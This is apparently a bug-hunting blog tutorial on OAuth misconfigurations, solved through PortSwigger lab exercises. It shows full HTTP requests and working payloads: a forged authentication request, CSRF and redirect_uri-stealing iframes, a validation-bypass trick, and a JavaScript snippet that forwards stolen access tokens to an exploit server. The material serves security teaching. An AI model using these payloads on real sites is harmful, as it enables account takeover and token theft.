In every other website, OAuth is an important element to integrate. The idea to of access delegation is simply amazing coz it reduces the overall headache for a developer to build out signup/login from scratch. But the simple the implementation is, any bad configuration of yours could open up loads of attack vectors.
In this blog post we are gonna cover just that!!!
Let’s dive in….
Let’s get the basics sorted
What exactly is OAUTH
Definition from wiki states, OAuth is an open standard for access delegation, commonly used as a way for Internet users to grant websites or applications access to their information on other websites but without giving them the passwords.
Lets understand with an example.
Consider you building an application on which you will be implementing the login functionality. A standard way is to code out the whole thing from scratch where you take in username, password fields. Another way that we probably see in every application is the login through other platforms like google, facebook, github. In the latter case, no username or password is required and an account is created!
Whats happening behind the scenes???!!!
When you proceed with Sign up with Google/ Sign up with facebook, the application requests these providers for an authentication code. When its provided, it basically means to application that the user registering is a valid one. Therefore gives a headsup to create the account. With this process the application also ask for some user-specific information like (name, email, phone, gender, DOB) and you clicking [Sign up with google] means that you agreed to share your requested personal information to the application.
Understanding in a 8 step process…
- Application requests user sign-in
- User opts to Sign in with google
- The application performs discovery on google address on the Google
- The Google login Authentication responds with XRDS document
- The application then requests with OAuth token
- It now get redirected to google.
- Now google logs the user in and approves the 3-rd party authentication.
- The Google login authentication service returns user identity (OAuth request token)
- With this token, the application is allowed access to protected information/ features.
The vulnerabilities
OAuth is simple to implement but mistakes in configuration can end up opening lot of attack possibilities. Lets learn about them!
I will be taking up lab references from portswigger to explain a lot of scenarios.
Authentication bypass via OAUTH
The idea is to give your username and password and login to someone else’s account if the username and email of the victim is known.
Lets take a look at a series of requests made..
1.
POST /interaction/CYCPIUCPxSXr0QS2BDJlf/login HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Content-Length: 30
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf
username=wiener&password=peter
2.------------------------------------------------------
GET /auth/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf
3.----------------------------------------------------------
GET /interaction/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
4.--------------------------------------------------------
POST /interaction/CYCPIUCPxSXr0QS2BDJlf/confirm HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Content-Length: 0
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
5.-------------------------------------------------------
GET /auth/CYCPIUCPxSXr0QS2BDJlf HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/interaction/CYCPIUCPxSXr0QS2BDJlf
Accept-Language: en-US,en;q=0.9
Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33
6.----------------------------------------------
GET /oauth-callback HTTP/1.1
Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Referer: https://ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX
7.-----------------------------------------
OPTIONS /me HTTP/1.1
Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net
Connection: close
Accept: /
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization,content-type
Origin: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Sec-Fetch-Dest: empty
Referer: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/
Accept-Language: en-US,en;q=0.9
8.-------------------------------------------
POST /authenticate HTTP/1.1
Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net
Connection: close
Content-Length: 103
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Accept: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Content-Type: application/json
Origin: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback
Accept-Language: en-US,en;q=0.9
Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX
{"email":"wiener@hotdog.com","username":"wiener","token":"0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp"}
For the request number 5, the response received back is the authetication token that will be further used in the request 8 to verify the validity of the user,
HTTP/1.1 302 Found X-Powered-By: Express Pragma: no-cache Cache-Control: no-cache, no-store Set-Cookie: _interaction_resume=; path=/auth/CYCPIUCPxSXr0QS2BDJlf; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=lax; secure; httponly Set-Cookie: _session=Coe1l5b1cz92m-61u8O6X; path=/; expires=Sat, 26 Jun 2021 18:06:32 GMT; samesite=none; secure; httponly Set-Cookie: _session.legacy=Coe1l5b1cz92m-61u8O6X; path=/; expires=Sat, 26 Jun 2021 18:06:32 GMT; secure; httponly Location: https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email Content-Type: text/html; charset=utf-8 Date: Sat, 12 Jun 2021 18:06:32 GMT Connection: close Content-Length: 459 Redirecting to https://ace41f931f34f85b808a5f6300700056.web-security-academy.net/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email.
The token here behaves like a password. If the token verification is poorly implemented on the server, we would be able to log in with any known email and username. In request 8 (POST /authenticate), change the email and username to any other valid account that exists and voila you have bypassed the authentication flow.
Flawed CSRF
Amongst a lot of configurational parameters of OAUTH, state parameter is the one responsible for CSRF protection. state parameter contains an unguessable code that is somehow related to the user’s session. This parameter is part of every request between Client application and the OAuth service.
So if client application doesnt implement this parameter, it becomes an interesting scenario from the attacker’s perspective. Let’s have a look….
There’s a login page that takes you to your account section.
In the image above, there’s an option to attach a social media profile so that user can directly login via the social media.
When you click the button (attach a social profile), the following request is made…
GET /auth?client_id=zosqz2h4uvjidu5j7vsui&redirect_uri=https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1 Host: ac751f781e3b1a7680f412b402720050.web-security-academy.net Connection: close
It contains the usual client id, the uri to redirect to. The url is requesting oauth-linking code of which the response type should be code
The server now responds with 302 redirect that contains the code that can be used in the further requests…
HTTP/1.1 302 Found X-Powered-By: Express Pragma: no-cache Cache-Control: no-cache, no-store Location: https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7 Content-Type: text/html; charset=utf-8 Set-Cookie: _session=SBzywXfvfIcUVpSWqDzkd; path=/; expires=Sun, 27 Jun 2021 14:11:08 GMT; samesite=none; secure; httponly Set-Cookie: _session.legacy=SBzywXfvfIcUVpSWqDzkd; path=/; expires=Sun, 27 Jun 2021 14:11:08 GMT; secure; httponly Date: Sun, 13 Jun 2021 14:11:08 GMT Connection: close X-XSS-Protection: 0 Content-Length: 287 Redirecting to https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7.
Now drop the next request.. why? Dropping this request will still keep the code valid and we’ll giving this code to the victim(ie admin) via exploit server.
GET /oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN HTTP/1.1 Host: ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91" sec-ch-ua-mobile: ?0 Referer: https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/ Accept-Language: en-US,en;q=0.9 Cookie: session=9KJfyDXYXLoLVFg694rhnvNzWJ8TeIhR
When the admin account loads this malicious iframe, his account gets linked to our blog website…
<iframe src="https://ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net/oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN"></iframe>
You can now logout from your account, turf off the proxy and login with social media.
You will now see the admin panel, as the lack of csrf protection has ended up linking the admin’s account to your social media profile and hence you get access to sensitive functionality.
Leaking tokens..
This is where you can steal the user’s authorization codes or access tokens. By stealing the valid code, the attacker can easily access the victim’s data.
Depending on the grant type, code or a token is sent via victim’s browser to /callback that is specified in the redirect_uri.
If the OAUTH doesnt properly validate the redirect_uri then, a malicious redirect_uri can be generated that if visited by user can initiate an OAUTH flow and a valid code will be sent to the attacker controlled redirect_uri.
Consider the following example:-
The /auth endpoint makes an OAuth call having client_id and redirect_uri
GET /auth?client_id=v8n9jie8q0sn2yamb707l&redirect_uri=https://ac201fe01f15524580121d75000600b9.web-security-academy.nesdfts/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1 Host: ac021fa01fa9528b80e21d750211002a.web-security-academy.net Connection: close sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ac201fe01f15524580121d75000600b9.web-security-academy.net/ Accept-Language: en-US,en;q=0.9 Cookie: _session=fK4MwbHLi_4KDyrsnx5ZL; _session.legacy=fK4MwbHLi_4KDyrsnx5ZL
A malicious HTML file can be created as follows where the redirect_uri is the url of the exploit server. You can use any other domain name too.
<iframe src="https://ac021fa01fa9528b80e21d750211002a.web-security-academy.net/auth?client_id=v8n9jie8q0sn2yamb707l&redirect_uri=https://acd41f591fd952d8800e1d650170002e.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
If the URI is being validated, try to bypass the validation. For example: if the validation only allows example.com as the valid URI, try if example.com.attacker.com is working or not. As now, attacker.com is a website owned by attacker and example.com becomes its subdomain.
When the victim opens the malicious html file on the attacker’s domain, the iframe automatically gets triggered containing the OAuth call.
Now the attacker can check his log to view the codes of the victim’s account. Refer to the image below.
Upon receiving the code, a valid callback url can be generated to access the account of victim.
https://ac201fe01f15524580121d75000600b9.web-security-academy.net/oauth-callback?code=I64BqYSfQ5lT2657Fc-yX5nUji7kW5JTej90uDwMRlA
Stealing OAuth tokens via open redirect
Oftentimes, you will come accross a scenario when you wont be able to use external URIs. But that doesnt meant that an attack scenario is not possible.
If you can leverage directory traversal after /oauth/callback, for example, https://example.com/oauth/callback../../../test/path maybe interpreted by the backend as https://example.com/test/path
Below is a scenario from portswigger oauth labs, where the url to access the next post (button present on every blog post) is vulnerable to directory traversal.
First, verify if directory traversal exists somewhere in the application. For our case its in the next post button
https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/oauth-callback/../post?postId=1
GET /auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post?postId=1&response_type=token&nonce=629526204&scope=openid%20profile%20email HTTP/1.1 Host: ac6d1fad1ead47868027a165028800dd.web-security-academy.net Connection: close sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/ Accept-Language: en-US,en;q=0.9 Cookie: _session=hn2y4iWOII0sO0AMiGXiP; _session.legacy=hn2y4iWOII0sO0AMiGXiP
You will also see that the PostId parameter is vulnerable to open-redirect. So there you can give the URL of your exploit server, even if there was validation on the redirect_uri parameter. If you go to the below URL, you will see that you get redirected to the exploit server’s /exploit that displays ‘Hello World!’ along with the access token in the URL fragment.
https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post/next?path=https://ac6e1f671eeb47e480eea1080176006e.web-security-academy.net/exploit&response_type=token&nonce=629526204&scope=openid%20profile%20email
So now a script has to be crafted in such a way that extracts the access token and that can be accessed in the access logs.
if (!document.location.hash) { window.location = 'https://ac6d1fad1ead47868027a165028800dd.web-security-academy.net/auth?client_id=tpt9tjjjohaxui5ur4oa1&redirect_uri=https://ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net/oauth-callback/../post/next?path=https://ac6e1f671eeb47e480eea1080176006e.web-security-academy.net/exploit&response_type=token&nonce=629526204&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
The task is to find the sensitive data of admin user. In all the requests, you will find an endpoint /me that holds account specific information. You can use the access token previously obtained as a part of Authorization Bearer and access /me endpoint
There you get the api key. Submit the key in the solution box in order to solve the lab.
Epilogue
Those were a lot of interesting scenarios from portswigger. Scenarios that you can really find in real-world applications. The important parameter to test for is always the redirect_uri. Also, check if the state parameter is present or not. If absent, check for CSRF vulnerabilities.
Try to combine multiple bugs to create a larger impact, one of them being directory traversal (as discussed in here)
That marks the end of this post. Hope you learned something and enjoyed reading.
See you in the next one. Until then, Happy Hunting 🙂
References
- https://medium.com/age-of-awareness/what-happens-when-you-log-in-with-your-facebook-or-google-account-a42776922e70
- https://portswigger.net/web-security/oauth
